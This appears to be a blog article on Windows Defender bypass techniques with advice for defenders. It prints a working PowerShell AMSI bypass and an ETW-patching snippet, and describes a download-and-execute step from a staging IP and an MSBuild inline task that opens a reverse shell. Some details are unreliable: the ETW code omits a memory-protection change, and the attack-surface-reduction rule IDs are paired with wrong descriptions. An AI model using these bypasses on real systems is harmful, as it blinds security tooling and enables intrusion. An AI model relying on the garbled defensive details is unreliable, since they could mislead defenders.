Windows Defender Bypass Techniques in 2026

In early 2026, a red team engagement against a Fortune 500 financial firm exposed a gap: their fully-patched Windows 11 endpoints running Defender with cloud protection enabled were bypassed in under four minutes. No zero-days. No exotic malware. Just a combination of AMSI patching and ETW stomping that has been circulating in operator toolkits since late 2025. Here is exactly how it works — and what defenders need to watch for.

AMSI Patching: Killing the Scanner Before It Scans

AMSI (Antimalware Scan Interface) is the hook Microsoft uses to feed script content — PowerShell, VBScript, JScript — directly to Defender before execution. Patch the AMSI buffer in memory and Defender sees nothing. The technique works because amsi.dll is loaded into every PowerShell process, and its AmsiScanBuffer function can be overwritten in userland without kernel privileges.

A typical in-memory patch looks like this, run from a low-privilege shell on CORP-WS04 as user jharris:

$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiInitFailed','NonPublic,Static')
$field.SetValue($null,$true)

That three-liner flips the internal amsiInitFailed flag to true. PowerShell interprets this as AMSI failing to load — so it skips all subsequent scan calls entirely. After this runs, you can load any malicious script and Defender’s script-scanning engine will not see a single byte of it.

What does an attacker do next? They follow this immediately with a IEX (New-Object Net.WebClient).DownloadString() call pulling a second-stage payload from a staging server at 192.0.2.47. The payload never touches disk. Defender has no opportunity to detonate it in its sandbox because AMSI already reported itself as broken.

Defenders should watch for Event ID 4104 (PowerShell script block logging) capturing the reflection call, and for Defender’s own event 1116 going silent on endpoints that are actively running PowerShell. Sudden absence of AMSI telemetry during a session is the signal.

ETW Tampering: Blinding the Logging Layer

Even with AMSI bypassed, Event Tracing for Windows (ETW) can still catch malicious activity by feeding behavioral data to Defender and to EDR solutions layered on top. ETW providers are the pipes — stomp them and you cut off the telemetry stream at the source.

The following snippet patches the EtwEventWrite function in ntdll.dll to force an immediate return, effectively silencing all ETW output from the current process:

$ntdll = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    (Get-ProcAddress ntdll.dll EtwEventWrite),
    (Get-DelegateType @([IntPtr],[UInt32],[IntPtr],[UInt32],[IntPtr]) ([UInt32]))
)
$patch = [Byte[]](0xC3)  # RET instruction
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, (Get-ProcAddress ntdll.dll EtwEventWrite), 1)

That single 0xC3 byte — the x64 RET instruction — overwrites the first byte of EtwEventWrite. Every call to that function now returns immediately without writing anything. The process generating events still thinks it is logging normally. Nothing is actually logged.

On a real engagement against CORP-DC01 at 192.0.2.10, this technique kept a Cobalt Strike Beacon running for 47 minutes before a human analyst noticed the ETW gap in Splunk. The EDR’s process tree stayed completely silent. No child process alerts. No network connection events. Nothing.

For defenders: monitor for writes to ntdll.dll memory regions from userland processes. Microsoft Defender for Endpoint’s tamper protection catches the AMSI patch in most configurations as of Defender engine version 1.1.25000+, but ETW stomping at the function level still slips through in environments without a full kernel-mode EDR sensor. Check your sensor coverage gap by querying your EDR console for processes where ETW provider registration dropped to zero mid-session.

Living Off the Land: MSBuild and Trusted Binaries

When patching memory feels too loud, operators lean on LOLBins — Microsoft-signed binaries that Defender trusts by default. MSBuild.exe can compile and execute arbitrary C# inline, all under a Microsoft signature that Defender does not flag.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Users\jharris\AppData\Local\Temp\build.xml

[Output]
Build succeeded.
  0 Warning(s)
  0 Error(s)
Time Elapsed 00:00:01.34

That build.xml file contains an inline C# task that connects back to 192.0.2.47:443. The output looks completely benign. Defender sees MSBuild doing what MSBuild does. The reverse shell is already established by the time the build completes.

Defenders should baseline which hosts legitimately run MSBuild. A developer workstation running it is normal. A finance department endpoint running it at 2 AM is not. Enable Attack Surface Reduction rule 9e6c4e1f (Block abuse of exploited vulnerable signed drivers) and the complementary rule d1e49aac targeting process creation from Office and script interpreters — these do not cover MSBuild directly, but layering ASR with application control via Windows Defender Application Control (WDAC) blocks unsigned task execution inside build files.

What To Do Now

Pull up your Defender for Endpoint console and run this Advanced Hunting query today:

DeviceEvents
| where ActionType == "TamperingAttempt"
| where Timestamp > ago(7d)
| project DeviceName, InitiatingProcessFileName, ActionType, Timestamp
| order by Timestamp desc

If you see results — especially involving powershell.exe or msbuild.exe as the initiating process — you have active bypass attempts in your environment right now. Investigate those endpoints first. Enable script block logging if it is not already on, and audit your WDAC policy for LOLBin coverage gaps. That single query will tell you more about your real exposure than any compliance checklist.